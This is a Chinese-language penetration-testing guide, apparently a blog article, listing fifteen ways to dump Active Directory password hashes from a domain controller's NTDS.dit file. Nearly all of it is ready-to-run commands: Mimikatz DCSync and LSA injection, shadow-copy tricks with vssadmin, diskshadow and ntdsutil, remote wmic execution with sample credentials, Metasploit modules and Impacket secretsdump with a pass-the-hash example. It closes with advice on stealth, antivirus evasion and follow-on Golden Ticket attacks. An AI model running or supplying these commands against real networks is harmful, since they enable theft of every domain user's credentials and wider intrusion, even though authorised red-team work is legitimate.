条条大路通罗马——花式转储域密码哈希
字数 1135 2025-08-29 08:32:19
域密码哈希提取技术全面指南
概述
在渗透测试中,获取域管理员权限后,提取域用户密码哈希是常见且关键的步骤。这些哈希存储在域控制器的NTDS.DIT文件中,本文详细介绍了多种提取这些哈希的技术方法。
NTDS.DIT文件基础
- 位置:
C:\Windows\NTDS\NTDS.dit - 特点: 始终被操作系统使用,无法直接复制
- 包含内容: 所有域用户的密码哈希、组成员身份等关键信息
提取方法分类
1. 使用Mimikatz
DCSync技术
# 提取所有域用户哈希
lsadump::dcsync /domain:pentestlab.local /all /csv
# 提取特定用户哈希
lsadump::dcsync /domain:pentestlab.local /user:test
特点: 利用目录复制服务(DRS),无需直接操作域控制器,隐蔽性高
通过LSASS进程
privilege::debug
lsadump::lsa /inject
前提: 需要在域控制器上执行
2. Empire框架
- 模块1:
credentials/mimikatz/dcsync_hashdump - 模块2: 指定用户提取完整账户信息
依赖: 需要域管理员权限,使用Invoke-Mimikatz PowerShell脚本
3. Nishang PowerShell框架
Import-Module .\Copy-VSS.ps1
Copy-VSS
# 或指定目录
Copy-VSS -DestinationDir C:\ShadowCopy\
功能: 自动提取NTDS.DIT、SAM和SYSTEM文件
4. PowerSploit
Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy
后续: 从新卷影拷贝中复制NTDS.DIT文件
5. Invoke-DCSync
Invoke-DCSync
# 或PWDump格式
Invoke-DCSync -PWDumpFormat
输出格式:
- 默认: Domain, User, RID和Hash四表
- PWDump格式:
user:id:lm:ntlm:::
6. NTDSUTIL
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
生成文件:
Active Directory文件夹: NTDS.DITRegistry文件夹: SAM和SYSTEM
7. Diskshadow
脚本示例 (保存为diskshadow.txt):
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
执行:
diskshadow.exe /s c:\diskshadow.txt
8. WMI远程提取
# 创建卷影拷贝
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
# 复制NTDS.DIT
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
# 复制SYSTEM文件
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
9. VSSADMIN
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
10. vssown.vbs
cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete
11. Metasploit模块
# NTDS抓取模块
use auxiliary/admin/smb/psexec_ntdsgrab
# 域哈希提取模块
use windows/gather/credentials/domain_hashdump
# 直接hashdump(风险高)
hashdump
12. fgdump
fgdump.exe
type 127.0.0.1.pwdump
注意: 易被反病毒软件检测
13. Impacket工具集
# 本地提取
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
# 远程提取
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
14. NTDSDumpEx
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive
15. adXtract脚本
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
输出: 用户列表和密码哈希,格式兼容John the Ripper和Hashcat
关键注意事项
- SYSTEM文件重要性: 必须同时获取SYSTEM注册表配置单元才能解密NTDS.DIT内容
- 隐蔽性考量: DCSync技术最为隐蔽,推荐在红队操作中使用
- 风险操作: 直接在域控制器上使用hashdump可能导致系统崩溃
- 反病毒规避: fgdump等传统工具易被检测,需谨慎使用
- 后续利用: 提取的哈希可用于黄金票据(Golden Ticket)攻击等横向移动技术
总结
本文涵盖了从基础到高级的多种域密码哈希提取技术,渗透测试人员应根据具体环境选择合适的方法,并特别注意操作的隐蔽性和潜在风险。